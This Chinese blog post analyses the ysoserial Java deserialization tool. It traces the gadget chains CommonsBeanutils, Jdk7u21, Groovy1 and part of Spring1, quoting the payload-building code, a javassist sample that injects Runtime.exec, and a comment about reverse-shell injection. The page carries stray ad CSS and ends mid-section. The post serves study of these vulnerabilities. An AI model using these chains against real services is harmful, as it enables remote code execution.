zoukankan      html  css  js  c++  java
  • 浅谈java反序列化工具ysoserial

    前言


      关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,造成的反序列化问题。然而,在下载老外的ysoserial工具并仔细看看后,我发现了许多值得学习的知识。

    至少能学到如下内容:

      不同反序列化payload玩法灵活运用了反射机制和动态代理机制构造POC

      java反序列化不仅是有Apache Commons Collections这样一种玩法。还有如下payload玩法:

    CommonsBeanutilsCollectionsLogging1所需第三方库文件: commons-beanutils:1.9.2,commons-collections:3.1,commons-logging:1.2 CommonsCollections1所需第三方库文件: commons-collections:3.1 CommonsCollections2所需第三方库文件: commons-collections4:4.0 CommonsCollections3所需第三方库文件: commons-collections:3.1(CommonsCollections1的变种) CommonsCollections4所需第三方库文件: commons-collections4:4.0(CommonsCollections2的变种) Groovy1所需第三方库文件: org.codehaus.groovy:groovy:2.3.9 Jdk7u21所需第三方库文件: 只需JRE版本 <= 1.7u21 Spring1所需第三方库文件: spring框架所含spring-core:4.1.4.RELEASE,spring-beans:4.1.4.RELEASE

      上面标注了payload使用情况下所依赖的包,诸位可以在源码中看到,根据实际情况选择。

      通过对该攻击代码的分析,可以学习java的一些有意思的知识。而且,里面写的java代码也很值得学习,巧妙运用了反射机制去解决问题。老外写的POC还是很精妙的。

    准备工作


      在github上下载ysoserial工具。使用maven进行编译成Eclipse项目文件,mvn eclipse:eclipse。要你联网下载依赖包,请耐心等待。如果卡住了,停止后再次执行该命令。

      导入后,可以看到里面有8个payload。其中ObjectPayload是定义的接口,所有的Payload需要实现这个接口的getObject方法。下面就开始对这些payload进行简要的分析。

      

    payload分析


      1. CommonsBeanutilsCollectionsLogging1

        该payload的要求依赖包挺多的,可能碰到的情况不会太多,但用到的技术是极好的。对这个payload执行的分析,请阅读参考资源第一个的分析文章。

        先直接看代码:

    #!javapublic Object getObject(final String command) throws Exception {    final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);    // mock method name until armed    final BeanComparator comparator = new BeanComparator("lowestSetBit");    // create queue with numbers and basic comparator    final PriorityQueue<object> queue = new PriorityQueue<object>(2, comparator);    // stub data for replacement later    queue.add(new BigInteger("1"));    queue.add(new BigInteger("1"));    // switch method called by comparator    Reflections.setFieldValue(comparator, "property", "outputProperties");    //Reflections.setFieldValue(comparator, "property", "newTransformer");    //这里由于比较器的代码,只能访问内部属性。所以选择outputProperties属性。 进而调用getOutputProperties方法。  @angelwhu    // switch contents of queue    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");    queueArray[0] = templates;    queueArray[1] = templates;    return queue;}</object></object>

        第一行代码final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);创建了TemplatesImpl类的对象,里面封装了我们需要的命令执行代码。而且是使用字节码的形式存储在对象属性中。
        下面就具体分析下这个对象的产生过程。

        (1) 利用TemplatesImpl类存储危险的字节码

          在产生字节码时,用到了JDK中javassist类。具体了解可以参考这篇博客http://www.cnblogs.com/hucn/p/3636912.html
          下面是我编写的一个简单的样例程序,便于理解:

    #!java@Testpublic void testClassPool() throws CannotCompileException, NotFoundException, IOException{    String command = "calc";    ClassPool pool = ClassPool.getDefault();    pool.insertClassPath(new ClassClassPath(angelwhu.model.Point.class));    CtClass cc = pool.get(angelwhu.model.Point.class.getName());    //System.out.println(angelwhu.model.Point.class.getName());    cc.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec("" + command.replaceAll(""", "\"") +"");");    //加入关键执行代码,生成一个静态函数。    String newClassNameString = "angelwhu.Pwner" + System.nanoTime();    cc.setName(newClassNameString);    CtMethod mthd = CtNewMethod.make("public static void main(String[] args) throws Exception {new " + newClassNameString + "();}", cc);    cc.addMethod(mthd);    cc.writeFile();}

          上述代码首先获取到class定义的容器ClassPool,并找到了我自定义的Point类,由此生成了cc对象。这样就可以开始对类进行修改的任意操作了。而且这个操作是直接写字节码。这样可以绕过许多安全机制,正像工具中注释说的:

            // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

          后面的操作便是利用我自定义的模板类Point,生成新的类名,并使用insertAfter方法插入了恶意java代码,执行命令。有兴趣的可以再详细了解这个类的用法。这里不再赘述。

          这段代码运行后,会在当前目录生成字节码(class文件)。使用java反编译器可看到源码,在原始模板类中插入了恶意静态代码,而且以字节码的形式直接存储。命令行直接运行,可以执行弹出计算器的命令:

          

          现在看看老外工具中,生成字节码的代码为:

    #!javapublic static TemplatesImpl createTemplatesImpl(final String command) throws Exception {    final TemplatesImpl templates = new TemplatesImpl();    // use template gadget class    ClassPool pool = ClassPool.getDefault();    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));    final CtClass clazz = pool.get(StubTransletPayload.class.getName());    // run command in static initializer    // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections    clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec("" + command.replaceAll(""", "\"") +"");");    // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)    clazz.setName("ysoserial.Pwner" + System.nanoTime());    final byte[] classBytes = clazz.toBytecode();    // inject class bytes into instance    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {        classBytes,        ClassFiles.classAsBytes(Foo.class)});    // required to make TemplatesImpl happy    Reflections.setFieldValue(templates, "_name", "Pwnr");    Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());    return templates;}

          根据以上样例分析,可以清楚看见:前面几行代码,即生成了我们需要的插入了恶意java代码的字节码数据。该字节码其实可以看做是一个类(.class)文件。final byte[] classBytes = clazz.toBytecode();将其转成了二进制数据进行存储。

          Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes,ClassFiles.classAsBytes(Foo.class)});这里又来到了一个有趣知识,那就是java反射机制的强大。ysoserial工具封装了使用反射机制对对象的一些操作,可以直接借鉴。

          具体可以看看其源码,这里在工具中经常使用的Reflections.setFieldValue(final Object obj, final String fieldName, final Object value);方法,便是使用反射机制,将obj对象的fieldName属性赋值为value。反射机制的强大之处在于:

          可以动态对对象的私有属性进行改变赋值,即:private修饰的属性。动态生成任意类对象。

          于是,我们便将com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类生成的对象templates中的_bytecodes属性,_name属性,_tfactory属性赋值成我们希望的值。

          重点在于_bytecodes属性,里面存储了我们的恶意java代码。现在的问题便是:如何触发加载我们的恶意java字节码?

        (2) 触发TemplatesImpl类加载_bytecodes属性中的字节码

          在TemplatesImpl类中存在执行链:

    #!javaTemplatesImpl.getOutputProperties()  TemplatesImpl.newTransformer()    TemplatesImpl.getTransletInstance()      TemplatesImpl.defineTransletClasses()        ClassLoader.defineClass()        Class.newInstance()          ...            MaliciousClass.<clinit>()            //class新建初始化对象后,会执行恶意类中的静态方法,即:我们插入的恶意java代码              ...                Runtime.exec()//这里可以是任意java代码,比如:反弹shell等等。  </clinit>

          这在ysoserial工具中的注释中是可以看到的。在源码中,我们从TemplatesImpl.getOutputProperties()开始跟踪,不难发现上面的执行链。最终会在getTransletInstance方法中看到如下触发加载自定义ja字节码部分的代码:

    #!javaprivate Translet getTransletInstance()throws TransformerConfigurationException {    .............    if (_class == null) defineTransletClasses();//通过ClassLoader加载字节码,存储在_class数组中。    // The translet needs to keep a reference to all its auxiliary     // class to prevent the GC from collecting them    AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//新建实例,触发恶意代码。     ............

          在defineTransletClasses()方法中,会加载我们之前存储在_bytecodes属性中的字节码(可以看做类文件),进而返回类的Class对象,存储在_class数组中。下面是调试时候的截图:

          

          可以看到在defineTransletClasses()后,得到类的Class对象。然后会执行newInstance()操作,新建一个实例,这样便触发了我们插入的静态恶意java代码。如果接着单步执行,便会弹出计算器。

    通过以上分析,可以看到:

          只要能够自动触发TemplatesImpl.getOutputProperties()方法执行,我们就能达到目的了。 (3) 利用BeanComparator比较器触发执行

          我们接着看payload的代码:

    #!javafinal BeanComparator comparator = new BeanComparator("lowestSetBit");// create queue with numbers and basic comparatorfinal PriorityQueue<object> queue = new PriorityQueue<object>(2, comparator);// stub data for replacement laterqueue.add(new BigInteger("1"));queue.add(new BigInteger("1"));</object></object>

          很简单,将PriorityQueue(优先级队列)插入两个元素,而且需要一个实现了Comparator接口的比较器,对元素进行比较,并对元素进行排队处理。具体可以看看PriorityQueue类的readObject()方法。

    #!javaprivate void readObject(java.io.ObjectInputStream s)    throws java.io.IOException, ClassNotFoundException {    ...........    queue = new Object[size];    // Read in all elements.    for (int i = 0; i < size; i++)        queue[i] = s.readObject();    // Elements are guaranteed to be in "proper order", but the    // spec has never explained what that might be.    heapify();}

          从对象反序列化过程原理,可以知道会首先调用该对象readObject()。当然在序列化过程中会首先调用该对象的writeObject()方法。这两个方法可以对比着看,方便理解。

          首先,在序列化PriorityQueue类实例时,会依次读取队列中的对象,并放到数组中进行存储。queue[i] = s.readObject();然后,进行排序操作heapify();。最终会到达这里,调用比较器的compare()方法,对元素间进行比较。

    #!javaprivate void siftDownUsingComparator(int k, E x) {    .........................        if (comparator.compare(x, (E) c) <= 0)            break;    .........................}

          这里传进去的,便是BeanComparator比较器:位于commons-beanutils包。
          于是,看看比较器的compare方法。

    #!javapublic int compare( T o1, T o2 ) {        ..................        Object value1 = PropertyUtils.getProperty( o1, property );        Object value2 = PropertyUtils.getProperty( o2, property );        return internalCompare( value1, value2 );             ..................    }

          o1,o2便是要比较的两个对象,property即我们需要比较对象中的属性(可控)。一开始property赋值为lowestSetBit,后来改成真正需要的outputProperties属性。

          PropertyUtils.getProperty( o1, property )顾名思义,便是取出o1对象中property属性的值。而实际上会去调用o1.getProperty()方法得到property属性值。

          到这里,可以画上完美的一个圈了。我们只需将前面构造好的TemplatesImpl对象添加到PriorityQueue(优先级队列)中,然后设置比较器为BeanComparator("outputProperties")即可。
          那么,在反序列化过程中,会自动调用TemplatesImpl.getOutputProperties()方法。执行命令了。

        个人总结观点:

          只需要想办法:自动调用TemplatesImpl的getOutputProperties方法。或者TemplatesImpl.newTransformer()即能自动加载字节码,触发恶意代码。这也在其他payload中经常用到。 触发原理:提供会自动调用比较器的容器。如:将PriorityQueue换成TreeSet容器,也是可以的。

          为了在生成payload时,能够正常运行。在代码中,先象征性地加入了两个BigInteger对象。
          后面使用反射机制,将comparator中的属性和queue容器存储的对象都改成我们需要的属性和对象。
          否则,在生成payload时,便会弹出计算器,抛出异常,无法正常执行了。测试如下:

          

      2. Jdk7u21

        该payload其实是JAVA SE的一个漏洞,ysoserial工具注释中有链接:https://gist.github.com/frohoff/24af7913611f8406eaf3。该payload不需要使用任何第三方库文件,只需官方提供的JDK即可,这个很方便啊。 不知Jdk7u21以后怎么补的,先来看看它的实现。

        在介绍完上面这个payload后,再来看这个可以发现:CommonsBeanutilsCollectionsLogging1借鉴了Jdk7u21的利用方法。

        同样,Jdk7u21开始便创建了一个存储了恶意java字节码数据的TemplatesImpl类对象。接下来就是怎么触发的问题了:如何自动触发TemplatesImpl的getOutputProperties方法。

        这里首先就有一个有趣的hash碰撞问题了。

        (1) "f5a5a608"的hash值为0

          类的hashCode方法是返回一个独一无二的hash值(int型),去代表这个唯一对象。如果类没有重写hashCode方法,会调用原始Object类中的hashCode方法返回一个hash值。
          String类的hashCode方法是这么实现的。

    #!java    public int hashCode() {    int h = hash;    int len = count;    if (h == 0 && len > 0)     {        int off = offset;        char val[] = value;        for (int i = 0; i < len; i++) {            h = 31*h + val[off++];        }        hash = h;    }    return h;}

          于是,就有了有趣的值:

    #!javaString zeroHashCodeStr = "f5a5a608";int hash3 = zeroHashCodeStr.hashCode();System.out.println(hash3);

          可以看到"f5a5a608"字符串,通过hashCode方法生成的hash值为0。这在之后的触发过程中会用到。

        (2) 利用动态代理机制触发执行

          Jdk7u21中使用了HashSet容器进行触发。添加了两个对象,一个是存储了恶意java字节码数据的TemplatesImpl类对象templates,一个是代理了Templates接口的proxy对象,使用了动态代理机制。

          如下是Jdk7u21生成payload时的主要代码:

    #!java......InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);......LinkedHashSet set = new LinkedHashSet(); // maintain orderset.add(templates);set.add(proxy);......return set;

          HashSet容器,就可以当做是一个HashMap<key,new>,key便是我们存储进去的数据,对应的value都只是静态的Object对象。

          同样,来看看HashSet容器中的readObject方法。

    #!javaprivate void readObject(java.io.ObjectInputStream s)    throws java.io.IOException, ClassNotFoundException {....................// Read in all elements in the proper order.    for (int i=0; i<size; e="" pre=""><p>实际上,这里map可以看做是HashMap类生成的对象。接着追踪源码就到了关键的地方:</p><pre class="java;">#!javapublic V put(K key, V value) {    .........    int hash = hash(key.hashCode());    int i = indexFor(hash, table.length);    for (Entry<k,v> e = table[i]; e != null; e = e.next) {        Object k;        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {//此处逻辑,需要使其触发key.equals(k)操作。            ..........        }    }    .........}</k,v></pre>
    <k,v>
    <p>通过以上分析下可以知道:在反序列化HashSet过程中,会依次将templates和proxy对象添加到map中。</p>
    <p>接着我们需要触发代码去执行key.equals(k)这条语句。<br>
    由于<strong>短路机制</strong>的原因,必须使templates.hashCode()与proxy.hashCode()计算值相等。</p>
    <p>proxy使用了<strong>动态代理</strong>机制,代理了Templates接口。具体请参考其他分析老外LazyMap触发Apache Commons Collections第三库序列化问题的文章,如:参考资料2。</p>
    <p>这里又到了熟悉的sun.reflect.annotation.AnnotationInvocationHandler类。<br>
    简而言之,我理解为将对象proxy所有的方法调用,都改成调用sun.reflect.annotation.AnnotationInvocationHandler类的invoke()方法。</p>
    <p>当我们调用proxy.hashCode()方法时,自然就会执行到了如下代码:</p>
    <pre class="java;">#!javapublic Object invoke(Object proxy, Method method, Object[] args) {    String member = method.getName();    ............    if (member.equals("hashCode"))        return hashCodeImpl();        ..........private int hashCodeImpl() {    int result = 0;    for (Map.Entry<string, object=""> e : memberValues.entrySet()) {        result += (127 * e.getKey().hashCode()) ^//使e.geyKey().hashCode()为0。"f5a5a608".hashCode()=0;            memberValueHashCode(e.getValue());    }    return result;}</string,></pre>
    <string, object="">
    <p>这里的memberValues就是payload代码一开始传进去的map("f5a5a608",templates)。简要画图说明为:</p>
    <p><img alt="" src="/uploadfile/Collfiles/20160402/2016040209195853.png" style=" 630px; height: 356.156px;"><style type="text/css" media="screen" id="s-f21ac82b21eeb7322631b6aa94e17f454ec70by">.imageplus-append-lu-img-txt{overflow:hidden;margin:10px 0}.imageplus-append-nova-txt{border:1px solid #f2f2f2;box-sizing:border-box;font-family:Microsoft YaHei;line-height:normal}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item{position:relative;100%;height:50px;background-color:#fff}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item a{text-decoration:none}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item a:hover{text-decoration:underline}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item div{word-break:keep-all;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;auto;height:25px;line-height:25px;margin:0 16px;font-weight:normal}
    .imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title span{font-size:14px;font-weight:bold;color:#003397}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc span{font-size:12px;color:#333}.imageplus-append-jian{20px;height:20px;background-image:url(http://ecmb.bdimg.com/public03/imageplus_m_append_jian_151204.png);background-repeat:no-repeat;background-position:0 0;position:absolute;top:0;left:0}.imageplus-append-close-btn{40px;height:40px;position:absolute;right:0;top:0;background-image:url(http://ecmb.bdimg.com/public03/imageplus_m_append_close_btn_151113.png);background-repeat:no-repeat;background-position:0 0;display:none}.imageplus-append-logo{height:18px;18px;background:url(http://cpro.baidustatic.com/cpro/ui/noexpire/img/2.0.1/bg.png) no-repeat left top;position:absolute;right:0;bottom:0}
    .imageplus-append-nova-txt-ue2{font-family:Microsoft YaHei;float:left;border:1px solid #ddd;border-top:3px solid #ff2f62;background-color:#f9f9f9}.imageplus-append-nova-txt-ue2 a:focus{outline:0}.imageplus-append-nova-txt-ue2 .imageplus-append-content{float:left}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item{margin-left:44px;height:60px;padding-top:5px;padding-bottom:5px}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item a{text-decoration:none}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item div{word-break:keep-all;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title{height:30px;line-height:30px;font-size:16px}
    .imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title a{color:#000}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-true{float:left}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-click{float:left;96px}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-click a{color:#ff2f62}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc{height:26px;line-height:26px;font-size:12px}
    .imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc a{color:#7b7b7b}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn{float:right;margin-top:19px;margin-right:18px}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn a{text-decoration:none}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn div{100px;height:32px;line-height:32px;text-align:center;background-color:#ff2f62;border:0;-webkit-border-radius:16px;-moz-border-radius:16px;border-radius:16px;color:#fff;font-family:Microsoft YaHei;font-size:16px;cursor:pointer}.imageplus-append-nova-txt-ue2 .imageplus-append-jian{position:absolute;top:3px;left:10px;22px;height:40px;background-image:url(http://ecma.bdimg.com/public03/imageplus/append/nova_txt_star_160426.png);background-position:0 0;background-repeat:no-repeat}
    .imageplus-append-nova-txt-ue2 .imageplus-append-close-btn{display:none}.imageplus-append-nova-txt-ue2 .imageplus-append-logo{display:none}.imageplus-append-nova-txt-ue2 .imageplus-baidu-logo{position:absolute;bottom:0;right:0;z-index:9999;background:url(http://ecma.bdimg.com/public03/imageplus/logo.png) no-repeat;background-position:0 -17px;16px;height:16px}.imageplus-append-nova-txt-ue2 .imageplus-ad-logo{position:absolute;left:0;bottom:0;overflow:hidden;z-index:12;background:url(http://ecma.bdimg.com/public03/imageplus/logo.png) no-repeat;background-position:0 0;34px;height:16px}.imageplus-append{float:none;margin:0;padding:0;border:0;overflow:hidden;position:static;display:block;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;position:relative;text-indent:0;display:inline-block}
    .imageplus-append div{float:none;margin:0;padding:0;border:0;overflow:hidden;position:static;display:block;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;font-family:Microsoft YaHei;line-height:normal}.imageplus-append a,.imageplus-append img,.imageplus-append span{float:none;margin:0;padding:0;border:0;overflow:visible;position:static;display:inline;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;font-family:Microsoft YaHei;line-height:normal}</style><div class="imageplus-append" id="f21ac82b21eeb7322631b6aa94e17f454ec70by" data-rendered="true" style="margin: 0px auto 0px 0px; padding: 0px; border: none;  630px; display: block;"><div class="imageplus-append-box" id="w-irrzhi">
    <div id="w-irrzhi-widget-isolated-host" style="overflow:visible;box-sizing:content-box;position:static;display:block;padding:0;margin:0;border:none;"></div>
    </div></div></p>
    <p>因此,通过动态代理机制加上"f5a5a608".hashCode()=0的特殊性,使e.hash == hash成立。<br>
    这样便可以执行key.equals(k),即:proxy.equals(templates)语句。</p>
    <p>接着查看源码便知:proxy.equals(templates)操作会遍历Templates接口的所有方法,并调用。如此,即可触发调用templates的getOutputProperties方法。</p>
    <pre class="java;">#!javaif (member.equals("equals") && paramTypes.length == 1 &&        paramTypes[0] == Object.class)        return equalsImpl(args[0]);.......................... private Boolean equalsImpl(Object o) {..........................    for (Method memberMethod : getMemberMethods()) {        String member = memberMethod.getName();        Object ourValue = memberValues.get(member);..........................                hisValue = memberMethod.invoke(o);//触发调用getOutputProperties方法</pre>
    <p>如此,Jdk7u21的payload便也完美触发了。</p>
    <p>同样,为了正常生成payload不抛出异常。先暂时存储map.put(zeroHashCodeStr, "foo");,后面替换为真正我们所需的对象:map.put(zeroHashCodeStr, templates); // swap in real object</p>
    <p>总结一下:</p>
    技术关键在于巧妙的利用了"f5a5a608"hash值为0。实现了hash碰撞成立。 AnnotationInvocationHandler对于equal方法的处理,可以使我们调用目标方法getOutputProperties。
    <p>计算hash值部分的内容还挺有意思。有兴趣可以到参考链接中github上看看我的测试代码。</p>
    3. Groovy1
    <p>这个payload和最近Xstream反序列化漏洞的POC原理有相似性。请参考:http://drops.wooyun.org/papers/13243。</p>
    <p>下面谈谈这个payload不一样的地方。 payload使用了Groovy库中ConvertedClosure类。该类实现了InvocationHandler和Serializable接口,同样可以用作动态代理并且可以序列化传输。代码也只有几行:</p>
    <pre class="java;">#!javafinal ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");final Map map = Gadgets.createProxy(closure, Map.class);        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);return handler;</pre>
    <p>当反序列化handler时,会调用map.entrySet方法。于是,就调用代理类ConvertedClosure的invoke方法了。最终,来到了:</p>
    <pre class="java;">#!javapublic Object invokeCustom(Object proxy, Method method, Object[] args)throws Throwable {    if (methodName!=null && !methodName.equals(method.getName())) return null;    return ((Closure) getDelegate()).call(args);//传入的是MethodClosure}  </pre>
    <p>然后和XStream一样,调用MethodClosure.doCall()方法。即:Groovy语法中"command".execute(),顺利执行命令。</p>
    <p>个人总结:</p>
    可以看到动态代理机制的强大作用。4. Spring1
    <p>Spring1这个payload执行链有些复杂。按照常规步骤来分析下:</p>
    <p>反序列化对象的readObject()方法为入口点进行跟踪。这里是org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider。</p>
    <pre class="java;">#!javaprivate void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {    inputStream.defaultReadObject();    Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);    this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());}</pre>
    <p>很明显的嗅到了感兴趣的"味道":ReflectionUtils.invokeMethod。接下来联系payload源码跟进下,或者单步调试。</p>
    由于流程可能比较错综复杂,画个简单的图表示下几个对象之间的关系:
    <p><img alt="" src="/uploadfile/Collfiles/20160402/2016040209195854.png" style=" 630px; height: 429.281px;"><style type="text/css" media="screen" id="s-f21ac82b21eeb7322631b6aa94e17f455twhnh7">.imageplus-append-lu-img-txt{overflow:hidden;margin:10px 0}.imageplus-append-nova-txt{border:1px solid #f2f2f2;box-sizing:border-box;font-family:Microsoft YaHei;line-height:normal}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item{position:relative;100%;height:50px;background-color:#fff}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item a{text-decoration:none}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item a:hover{text-decoration:underline}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item div{word-break:keep-all;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;auto;height:25px;line-height:25px;margin:0 16px;font-weight:normal}
    .imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title span{font-size:14px;font-weight:bold;color:#003397}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc span{font-size:12px;color:#333}.imageplus-append-jian{20px;height:20px;background-image:url(http://ecmb.bdimg.com/public03/imageplus_m_append_jian_151204.png);background-repeat:no-repeat;background-position:0 0;position:absolute;top:0;left:0}.imageplus-append-close-btn{40px;height:40px;position:absolute;right:0;top:0;background-image:url(http://ecmb.bdimg.com/public03/imageplus_m_append_close_btn_151113.png);background-repeat:no-repeat;background-position:0 0;display:none}.imageplus-append-logo{height:18px;18px;background:url(http://cpro.baidustatic.com/cpro/ui/noexpire/img/2.0.1/bg.png) no-repeat left top;position:absolute;right:0;bottom:0}
    .imageplus-append-nova-txt-ue2{font-family:Microsoft YaHei;float:left;border:1px solid #ddd;border-top:3px solid #ff2f62;background-color:#f9f9f9}.imageplus-append-nova-txt-ue2 a:focus{outline:0}.imageplus-append-nova-txt-ue2 .imageplus-append-content{float:left}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item{margin-left:44px;height:60px;padding-top:5px;padding-bottom:5px}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item a{text-decoration:none}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item div{word-break:keep-all;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title{height:30px;line-height:30px;font-size:16px}
    .imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title a{color:#000}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-true{float:left}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-click{float:left;96px}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-click a{color:#ff2f62}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc{height:26px;line-height:26px;font-size:12px}
    .imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc a{color:#7b7b7b}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn{float:right;margin-top:19px;margin-right:18px}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn a{text-decoration:none}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn div{100px;height:32px;line-height:32px;text-align:center;background-color:#ff2f62;border:0;-webkit-border-radius:16px;-moz-border-radius:16px;border-radius:16px;color:#fff;font-family:Microsoft YaHei;font-size:16px;cursor:pointer}.imageplus-append-nova-txt-ue2 .imageplus-append-jian{position:absolute;top:3px;left:10px;22px;height:40px;background-image:url(http://ecma.bdimg.com/public03/imageplus/append/nova_txt_star_160426.png);background-position:0 0;background-repeat:no-repeat}
    .imageplus-append-nova-txt-ue2 .imageplus-append-close-btn{display:none}.imageplus-append-nova-txt-ue2 .imageplus-append-logo{display:none}.imageplus-append-nova-txt-ue2 .imageplus-baidu-logo{position:absolute;bottom:0;right:0;z-index:9999;background:url(http://ecma.bdimg.com/public03/imageplus/logo.png) no-repeat;background-position:0 -17px;16px;height:16px}.imageplus-append-nova-txt-ue2 .imageplus-ad-logo{position:absolute;left:0;bottom:0;overflow:hidden;z-index:12;background:url(http://ecma.bdimg.com/public03/imageplus/logo.png) no-repeat;background-position:0 0;34px;height:16px}.imageplus-append{float:none;margin:0;padding:0;border:0;overflow:hidden;position:static;display:block;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;position:relative;text-indent:0;display:inline-block}
    .imageplus-append div{float:none;margin:0;padding:0;border:0;overflow:hidden;position:static;display:block;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;font-family:Microsoft YaHei;line-height:normal}.imageplus-append a,.imageplus-append img,.imageplus-append span{float:none;margin:0;padding:0;border:0;overflow:visible;position:static;display:inline;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;font-family:Microsoft YaHei;line-height:normal}</style><div class="imageplus-append" id="f21ac82b21eeb7322631b6aa94e17f455twhnh7" data-rendered="true" style="margin: 0px auto 0px 0px; padding: 0px; border: none;  630px; display: block;"><div class="imageplus-append-box" id="w-wltxah">
    <div id="w-wltxah-widget-isolated-host" style="overflow:visible;box-sizing:content-box;position:static;display:block;padding:0;margin:0;border:none;"></div>
    </div></div></p>
    <p>在执行ReflectionUtils.invokeMethod(method, this.provider.getType())语句时,整个执行流程如下:</p>
    <pre class="java;">#!javaReflectionUtils.invokeMethod()    Method.invoke(typeTemplatesProxy对象)        //Method为Templates(Proxy).newTransformer()</pre>
    <p>这是明显的一部分调用,在执行Templates(Proxy).newTransformer()时,会有余下过程发生:</p>
